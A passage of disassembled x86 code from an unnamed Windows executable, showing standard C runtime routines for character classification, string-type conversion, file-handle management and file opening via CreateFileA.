		jle	short loc_41E866
		push	4
		push	dword ptr [esp+8]
		call	sub_41BDD1
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41E866:				; CODE XREF: .text:0041E856j
		mov	eax, [esp+4]
		mov	ecx, off_435C2C
		mov	al, [ecx+eax*2]
		and	eax, 4
		retn
; ---------------------------------------------------------------------------
		cmp	dword_435E38, 1
		jle	short loc_41E891
		push	80h
		push	dword ptr [esp+8]
		call	sub_41BDD1
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41E891:				; CODE XREF: .text:0041E87Ej
		mov	eax, [esp+4]
		mov	ecx, off_435C2C
		mov	al, [ecx+eax*2]
		and	eax, 80h
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41E8A4	proc near		; CODE XREF: sub_41B320+76p
					; sub_41B320+88p ...

arg_0		= dword	ptr  4

		cmp	dword_435E38, 1
		jle	short loc_41E8BB
		push	8
		push	[esp+4+arg_0]
		call	sub_41BDD1
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41E8BB:				; CODE XREF: sub_41E8A4+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_435C2C
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41E8A4	endp

; ---------------------------------------------------------------------------
		cmp	dword_435E38, 1
		jle	short loc_41E8E3
		push	10h
		push	dword ptr [esp+8]
		call	sub_41BDD1
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41E8E3:				; CODE XREF: .text:0041E8D3j
		mov	eax, [esp+4]
		mov	ecx, off_435C2C
		mov	al, [ecx+eax*2]
		and	eax, 10h
		retn
; ---------------------------------------------------------------------------
		cmp	dword_435E38, 1
		jle	short loc_41E90E
		push	107h
		push	dword ptr [esp+8]
		call	sub_41BDD1
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41E90E:				; CODE XREF: .text:0041E8FBj
		mov	eax, [esp+4]
		mov	ecx, off_435C2C
		mov	ax, [ecx+eax*2]
		and	eax, 107h
		retn
; ---------------------------------------------------------------------------
		cmp	dword_435E38, 1
		jle	short loc_41E93C
		push	157h
		push	dword ptr [esp+8]
		call	sub_41BDD1
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41E93C:				; CODE XREF: .text:0041E929j
		mov	eax, [esp+4]
		mov	ecx, off_435C2C
		mov	ax, [ecx+eax*2]
		and	eax, 157h
		retn
; ---------------------------------------------------------------------------
		cmp	dword_435E38, 1
		jle	short loc_41E96A
		push	117h
		push	dword ptr [esp+8]
		call	sub_41BDD1
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41E96A:				; CODE XREF: .text:0041E957j
		mov	eax, [esp+4]
		mov	ecx, off_435C2C
		mov	ax, [ecx+eax*2]
		and	eax, 117h
		retn
; ---------------------------------------------------------------------------
		cmp	dword_435E38, 1
		jle	short loc_41E995
		push	20h
		push	dword ptr [esp+8]
		call	sub_41BDD1
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41E995:				; CODE XREF: .text:0041E985j
		mov	eax, [esp+4]
		mov	ecx, off_435C2C
		mov	al, [ecx+eax*2]
		and	eax, 20h
		retn
; ---------------------------------------------------------------------------
		cmp	dword ptr [esp+4], 80h
		sbb	eax, eax
		neg	eax
		retn
; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		and	eax, 7Fh
		retn
; ---------------------------------------------------------------------------
		cmp	dword_435E38, 1
		jle	short loc_41E9D6
		push	103h
		push	dword ptr [esp+8]
		call	sub_41BDD1
		pop	ecx
		pop	ecx
		jmp	short loc_41E9E8
; ---------------------------------------------------------------------------


loc_41E9D6:				; CODE XREF: .text:0041E9C2j
		mov	eax, off_435C2C
		mov	ecx, [esp+4]
		mov	ax, [eax+ecx*2]
		and	eax, 103h


loc_41E9E8:				; CODE XREF: .text:0041E9D4j
		test	eax, eax
		jnz	short loc_41E9F4
		cmp	dword ptr [esp+4], 5Fh
		jz	short loc_41E9F4
		retn
; ---------------------------------------------------------------------------


loc_41E9F4:				; CODE XREF: .text:0041E9EAj
					; .text:0041E9F1j
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		cmp	dword_435E38, 1
		jle	short loc_41EA13
		push	107h
		push	dword ptr [esp+8]
		call	sub_41BDD1
		pop	ecx
		pop	ecx
		jmp	short loc_41EA25
; ---------------------------------------------------------------------------


loc_41EA13:				; CODE XREF: .text:0041E9FFj
		mov	eax, off_435C2C
		mov	ecx, [esp+4]
		mov	ax, [eax+ecx*2]
		and	eax, 107h


loc_41EA25:				; CODE XREF: .text:0041EA11j
		test	eax, eax
		jnz	short loc_41EA31
		cmp	dword ptr [esp+4], 5Fh
		jz	short loc_41EA31
		retn
; ---------------------------------------------------------------------------


loc_41EA31:				; CODE XREF: .text:0041EA27j
					; .text:0041EA2Ej
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41EA40	proc near		; CODE XREF: sub_41B320+797p
					; sub_41B320+7E7p
		cmp	cl, 40h
		jnb	short loc_41EA5A
		cmp	cl, 20h
		jnb	short loc_41EA50
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_41EA50:				; CODE XREF: sub_41EA40+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_41EA5A:				; CODE XREF: sub_41EA40+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_41EA40	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EA5F	proc near		; CODE XREF: sub_41BD96+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_41EAAB
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_41EA7D
		test	al, 80h
		jz	short loc_41EAAB
		test	al, 2
		jnz	short loc_41EAAB


loc_41EA7D:				; CODE XREF: sub_41EA5F+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_41EA8A
		push	esi
		call	sub_41E57E
		pop	ecx


loc_41EA8A:				; CODE XREF: sub_41EA5F+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_41EA9A
		cmp	dword ptr [esi+4], 0
		jnz	short loc_41EAAB
		inc	eax
		mov	[esi], eax


loc_41EA9A:				; CODE XREF: sub_41EA5F+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_41EAB1
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_41EAB7
		inc	eax
		mov	[esi], eax


loc_41EAAB:				; CODE XREF: sub_41EA5F+9j
					; sub_41EA5F+18j ...
		or	eax, 0FFFFFFFFh


loc_41EAAE:				; CODE XREF: sub_41EA5F+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41EAB1:				; CODE XREF: sub_41EA5F+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_41EAB7:				; CODE XREF: sub_41EA5F+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_41EAAE
sub_41EA5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EACD	proc near		; CODE XREF: sub_41BDD1+5Ep
					; sub_41C924+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427B30
		push	offset sub_41D854
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4929EC
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_41EB3C
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427824
		push	esi
		call	ds:dword_495300	; GetStringTypeW
		test	eax, eax
		jz	short loc_41EB1A
		mov	eax, esi
		jmp	short loc_41EB37
; ---------------------------------------------------------------------------


loc_41EB1A:				; CODE XREF: sub_41EACD+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4370B8
		push	esi
		push	ebx
		call	ds:dword_495304	; GetStringTypeA
		test	eax, eax
		jz	loc_41EC02
		push	2
		pop	eax


loc_41EB37:				; CODE XREF: sub_41EACD+4Bj
		mov	dword_4929EC, eax


loc_41EB3C:				; CODE XREF: sub_41EACD+2Fj
		cmp	eax, 2
		jnz	short loc_41EB65
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_41EB4D
		mov	eax, dword_49288C


loc_41EB4D:				; CODE XREF: sub_41EACD+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	ds:dword_495304	; GetStringTypeA
		jmp	loc_41EC04
; ---------------------------------------------------------------------------


loc_41EB65:				; CODE XREF: sub_41EACD+72j
		cmp	eax, 1
		jnz	loc_41EC02
		cmp	[ebp+arg_10], ebx
		jnz	short loc_41EB7B
		mov	eax, dword_49289C
		mov	[ebp+arg_10], eax


loc_41EB7B:				; CODE XREF: sub_41EACD+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		call	ds:dword_4953EC	; MultiByteToWideChar
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_41EC02
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_416880
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_415CA0
		add	esp, 0Ch
		jmp	short loc_41EBD1
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_41EBD1:				; CODE XREF: sub_41EACD+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_41EC02
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	ds:dword_4953EC	; MultiByteToWideChar
		cmp	eax, ebx
		jz	short loc_41EC02
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	ds:dword_495300	; GetStringTypeW
		jmp	short loc_41EC04
; ---------------------------------------------------------------------------


loc_41EC02:				; CODE XREF: sub_41EACD+61j
					; sub_41EACD+9Bj ...
		xor	eax, eax


loc_41EC04:				; CODE XREF: sub_41EACD+93j
					; sub_41EACD+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EACD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EC16	proc near		; CODE XREF: .text:loc_41EE2Cp
					; sub_41EEE4:loc_41F05Cp
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_493E60


loc_41EC25:				; CODE XREF: sub_41EC16+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_41EC62
		lea	edx, [eax+100h]


loc_41EC31:				; CODE XREF: sub_41EC16+28j
		cmp	eax, edx
		jnb	short loc_41EC51
		test	byte ptr [eax+4], 1
		jz	short loc_41EC40
		add	eax, 8
		jmp	short loc_41EC31
; ---------------------------------------------------------------------------


loc_41EC40:				; CODE XREF: sub_41EC16+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41ECA5


loc_41EC51:				; CODE XREF: sub_41EC16+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_493F60
		jl	short loc_41EC25
		jmp	short loc_41ECA5
; ---------------------------------------------------------------------------


loc_41EC62:				; CODE XREF: sub_41EC16+13j
		mov	esi, 100h
		push	esi
		call	sub_415CF8
		test	eax, eax
		pop	ecx
		jz	short loc_41ECA5
		add	dword_493F9C, 20h
		lea	ecx, ds:493E60h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_41EC88:				; CODE XREF: sub_41EC16+88j
		cmp	eax, edx
		jnb	short loc_41ECA0
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_41EC88
; ---------------------------------------------------------------------------


loc_41ECA0:				; CODE XREF: sub_41EC16+74j
		shl	edi, 5
		mov	ebx, edi


loc_41ECA5:				; CODE XREF: sub_41EC16+39j
					; sub_41EC16+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41EC16	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ECAB	proc near		; CODE XREF: .text:0041EE51p
					; sub_41EEE4+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_493F9C
		push	edi
		jnb	short loc_41ED0B
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:493E60h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_41ED0B
		cmp	dword_435AA4, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_41ED01
		sub	eax, 0
		jz	short loc_41ECF8
		dec	eax
		jz	short loc_41ECF3
		dec	eax
		jnz	short loc_41ED01
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_41ECFB
; ---------------------------------------------------------------------------


loc_41ECF3:				; CODE XREF: sub_41ECAB+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_41ECFB
; ---------------------------------------------------------------------------


loc_41ECF8:				; CODE XREF: sub_41ECAB+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_41ECFB:				; CODE XREF: sub_41ECAB+46j
					; sub_41ECAB+4Bj
		call	ds:dword_4952FC	; SetStdHandle


loc_41ED01:				; CODE XREF: sub_41ECAB+36j
					; sub_41ECAB+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_41ED1F
; ---------------------------------------------------------------------------


loc_41ED0B:				; CODE XREF: sub_41ECAB+Cj
					; sub_41ECAB+28j
		and	dword_4927F8, 0
		mov	dword_4927F4, 9
		or	eax, 0FFFFFFFFh


loc_41ED1F:				; CODE XREF: sub_41ECAB+5Ej
		pop	edi
		pop	esi
		retn
sub_41ECAB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ED22	proc near		; CODE XREF: sub_41BE46+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_493F9C
		push	edi
		jnb	short loc_41ED85
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:493E60h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_41ED85
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41ED85
		cmp	dword_435AA4, 1
		jnz	short loc_41ED7B
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_41ED72
		dec	ecx
		jz	short loc_41ED6D
		dec	ecx
		jnz	short loc_41ED7B
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_41ED75
; ---------------------------------------------------------------------------


loc_41ED6D:				; CODE XREF: sub_41ED22+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_41ED75
; ---------------------------------------------------------------------------


loc_41ED72:				; CODE XREF: sub_41ED22+3Ej
		push	eax
		push	0FFFFFFF6h


loc_41ED75:				; CODE XREF: sub_41ED22+49j
					; sub_41ED22+4Ej
		call	ds:dword_4952FC	; SetStdHandle


loc_41ED7B:				; CODE XREF: sub_41ED22+38j
					; sub_41ED22+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_41ED99
; ---------------------------------------------------------------------------


loc_41ED85:				; CODE XREF: sub_41ED22+Cj
					; sub_41ED22+2Aj ...
		and	dword_4927F8, 0
		mov	dword_4927F4, 9
		or	eax, 0FFFFFFFFh


loc_41ED99:				; CODE XREF: sub_41ED22+61j
		pop	edi
		pop	esi
		retn
sub_41ED22	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ED9C	proc near		; CODE XREF: sub_41BE46+32p
					; sub_41BE46+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_493F9C
		jnb	short loc_41EDC4
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_493E60[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_41EDC4
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_41EDC4:				; CODE XREF: sub_41ED9C+Aj
					; sub_41ED9C+23j
		and	dword_4927F8, 0
		mov	dword_4927F4, 9
		or	eax, 0FFFFFFFFh
		retn
sub_41ED9C	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		xor	bl, bl
		test	byte ptr [ebp+0Ch], 8
		push	esi
		jz	short loc_41EDE9
		add	bl, 20h


loc_41EDE9:				; CODE XREF: .text:0041EDE4j
		test	byte ptr [ebp+0Dh], 40h
		jz	short loc_41EDF2
		or	bl, 80h


loc_41EDF2:				; CODE XREF: .text:0041EDEDj
		test	byte ptr [ebp+0Ch], 80h
		jz	short loc_41EDFB
		or	bl, 10h


loc_41EDFB:				; CODE XREF: .text:0041EDF6j
		push	dword ptr [ebp+8]
		call	ds:dword_495314	; GetFileType
		test	eax, eax
		jnz	short loc_41EE1A
		call	ds:dword_495328	; RtlGetLastWin32Error
		push	eax
		call	sub_41C4E8
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_41EE72
; ---------------------------------------------------------------------------


loc_41EE1A:				; CODE XREF: .text:0041EE06j
		cmp	eax, 2
		jnz	short loc_41EE24
		or	bl, 40h
		jmp	short loc_41EE2C
; ---------------------------------------------------------------------------


loc_41EE24:				; CODE XREF: .text:0041EE1Dj
		cmp	eax, 3
		jnz	short loc_41EE2C
		or	bl, 8


loc_41EE2C:				; CODE XREF: .text:0041EE22j
					; .text:0041EE27j
		call	sub_41EC16
		mov	esi, eax
		or	eax, 0FFFFFFFFh
		cmp	esi, eax
		jnz	short loc_41EE4D
		and	dword_4927F8, 0
		mov	dword_4927F4, 18h
		jmp	short loc_41EE72
; ---------------------------------------------------------------------------


loc_41EE4D:				; CODE XREF: .text:0041EE38j
		push	dword ptr [ebp+8]
		push	esi
		call	sub_41ECAB
		pop	ecx
		mov	eax, esi
		pop	ecx
		or	bl, 1
		sar	eax, 5
		mov	ecx, esi
		mov	eax, dword_493E60[eax*4]
		and	ecx, 1Fh
		mov	[eax+ecx*8+4], bl
		mov	eax, esi


loc_41EE72:				; CODE XREF: .text:0041EE18j
					; .text:0041EE4Bj
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41EE76	proc near		; CODE XREF: sub_41BF24+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_493F9C
		jnb	short loc_41EEBF
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_493E60[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_41EEBF
		push	eax
		call	sub_41ED9C
		pop	ecx
		push	eax
		call	ds:dword_4952F8	; FlushFileBuffers
		test	eax, eax
		jnz	short loc_41EEB4
		call	ds:dword_495328	; RtlGetLastWin32Error
		jmp	short loc_41EEB6
; ---------------------------------------------------------------------------


loc_41EEB4:				; CODE XREF: sub_41EE76+34j
		xor	eax, eax


loc_41EEB6:				; CODE XREF: sub_41EE76+3Cj
		test	eax, eax
		jz	short locret_41EECC
		mov	dword_4927F8, eax


loc_41EEBF:				; CODE XREF: sub_41EE76+Aj
					; sub_41EE76+22j
		mov	dword_4927F4, 9
		or	eax, 0FFFFFFFFh

locret_41EECC:				; CODE XREF: sub_41EE76+42j
		retn
sub_41EE76	endp

; ---------------------------------------------------------------------------
		push	dword ptr [esp+0Ch]
		push	40h
		push	dword ptr [esp+10h]
		push	dword ptr [esp+10h]
		call	sub_41EEE4
		add	esp, 10h
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EEE4	proc near		; CODE XREF: sub_41C300+13Fp
					; .text:0041EEDBp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_41EF0A
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_41EF15
; ---------------------------------------------------------------------------


loc_41EF0A:				; CODE XREF: sub_41EEE4+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_41EF15:				; CODE XREF: sub_41EEE4+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_41EF2F
		test	ch, 40h
		jnz	short loc_41EF2B
		cmp	dword_492AD4, eax
		jz	short loc_41EF2F


loc_41EF2B:				; CODE XREF: sub_41EEE4+3Dj
		or	[ebp+var_1], 80h


loc_41EF2F:				; CODE XREF: sub_41EEE4+38j
					; sub_41EEE4+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_41EF67
		dec	eax
		jz	short loc_41EF5E
		dec	eax
		jz	short loc_41EF55


loc_41EF40:				; CODE XREF: sub_41EEE4+9Fj
					; sub_41EEE4+E8j ...
		mov	dword_4927F4, 16h
		mov	dword_4927F8, ebx
		jmp	loc_41F17A
; ---------------------------------------------------------------------------


loc_41EF55:				; CODE XREF: sub_41EEE4+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_41EF6E
; ---------------------------------------------------------------------------


loc_41EF5E:				; CODE XREF: sub_41EEE4+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_41EF6E
; ---------------------------------------------------------------------------


loc_41EF67:				; CODE XREF: sub_41EEE4+54j
		mov	[ebp+var_C], 80000000h


loc_41EF6E:				; CODE XREF: sub_41EEE4+78j
					; sub_41EEE4+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_41EF9C
		cmp	eax, 20h
		jz	short loc_41EF93
		cmp	eax, 30h
		jz	short loc_41EF8A
		cmp	eax, 40h
		jnz	short loc_41EF40
		mov	[ebp+var_10], esi
		jmp	short loc_41EF9F
; ---------------------------------------------------------------------------


loc_41EF8A:				; CODE XREF: sub_41EEE4+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_41EF9F
; ---------------------------------------------------------------------------


loc_41EF93:				; CODE XREF: sub_41EEE4+95j
		mov	[ebp+var_10], 1
		jmp	short loc_41EF9F
; ---------------------------------------------------------------------------


loc_41EF9C:				; CODE XREF: sub_41EEE4+90j
		mov	[ebp+var_10], ebx


loc_41EF9F:				; CODE XREF: sub_41EEE4+A4j
					; sub_41EEE4+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_41EFE9
		jz	short loc_41EFE4
		cmp	ecx, ebx
		jz	short loc_41EFE4
		cmp	ecx, edi
		jz	short loc_41EFDB
		cmp	ecx, 200h
		jz	short loc_41F002
		cmp	ecx, 300h
		jnz	loc_41EF40
		mov	[ebp+var_8], 2
		jmp	short loc_41F012
; ---------------------------------------------------------------------------


loc_41EFDB:				; CODE XREF: sub_41EEE4+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_41F012
; ---------------------------------------------------------------------------


loc_41EFE4:				; CODE XREF: sub_41EEE4+D0j
					; sub_41EEE4+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_41F012
; ---------------------------------------------------------------------------


loc_41EFE9:				; CODE XREF: sub_41EEE4+CEj
		cmp	ecx, 500h
		jz	short loc_41F00B
		cmp	ecx, 600h
		jz	short loc_41F002
		cmp	ecx, edx
		jz	short loc_41F00B
		jmp	loc_41EF40
; ---------------------------------------------------------------------------


loc_41F002:				; CODE XREF: sub_41EEE4+E0j
					; sub_41EEE4+113j
		mov	[ebp+var_8], 5
		jmp	short loc_41F012
; ---------------------------------------------------------------------------


loc_41F00B:				; CODE XREF: sub_41EEE4+10Bj
					; sub_41EEE4+117j
		mov	[ebp+var_8], 1


loc_41F012:				; CODE XREF: sub_41EEE4+F5j
					; sub_41EEE4+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_41F031
		mov	ecx, dword_4927FC
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_41F031
		push	1
		pop	esi


loc_41F031:				; CODE XREF: sub_41EEE4+138j
					; sub_41EEE4+148j
		test	al, 40h
		jz	short loc_41F03F
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_41F03F:				; CODE XREF: sub_41EEE4+14Fj
		test	ah, 10h
		jz	short loc_41F046
		or	esi, edi


loc_41F046:				; CODE XREF: sub_41EEE4+15Ej
		test	al, 20h
		jz	short loc_41F052
		or	esi, 8000000h
		jmp	short loc_41F05C
; ---------------------------------------------------------------------------


loc_41F052:				; CODE XREF: sub_41EEE4+164j
		test	al, 10h
		jz	short loc_41F05C
		or	esi, 10000000h


loc_41F05C:				; CODE XREF: sub_41EEE4+16Cj
					; sub_41EEE4+170j
		call	sub_41EC16
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_41F07D
		and	dword_4927F8, 0
		mov	dword_4927F4, 18h
		jmp	short loc_41F0BB
; ---------------------------------------------------------------------------


loc_41F07D:				; CODE XREF: sub_41EEE4+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	ds:dword_495360	; CreateFileA
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_41F0AE
		push	esi
		call	ds:dword_495314	; GetFileType
		test	eax, eax
		jnz	short loc_41F0C2
		push	esi
		call	ds:dword_495358	; CloseHandle


loc_41F0AE:				; CODE XREF: sub_41EEE4+1B6j
		call	ds:dword_495328	; RtlGetLastWin32Error
		push	eax
		call	sub_41C4E8
		pop	ecx


loc_41F0BB:				; CODE XREF: sub_41EEE4+197j
		mov	eax, edi
		jmp	loc_41F198
; ---------------------------------------------------------------------------


loc_41F0C2:				; CODE XREF: sub_41EEE4+1C1j
		cmp	eax, 2
		jnz	short loc_41F0CD
		or	[ebp+var_1], 40h
		jmp	short loc_41F0D6
; ---------------------------------------------------------------------------


loc_41F0CD:				; CODE XREF: sub_41EEE4+1E1j
		cmp	eax, 3
		jnz	short loc_41F0D6
		or	[ebp+var_1], 8


loc_41F0D6:				; CODE XREF: sub_41EEE4+1E7j
					; sub_41EEE4+1ECj
		push	esi
		push	ebx
		call	sub_41ECAB
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:493E60h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_41F17F
		test	al, 80h
		jz	short loc_41F17F
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_41F17F
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_41CE78
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_41F134
		cmp	dword_4927F8, 83h
		jz	short loc_41F17F
		jmp	short loc_41F173
; ---------------------------------------------------------------------------


loc_41F134:				; CODE XREF: sub_41EEE4+240j
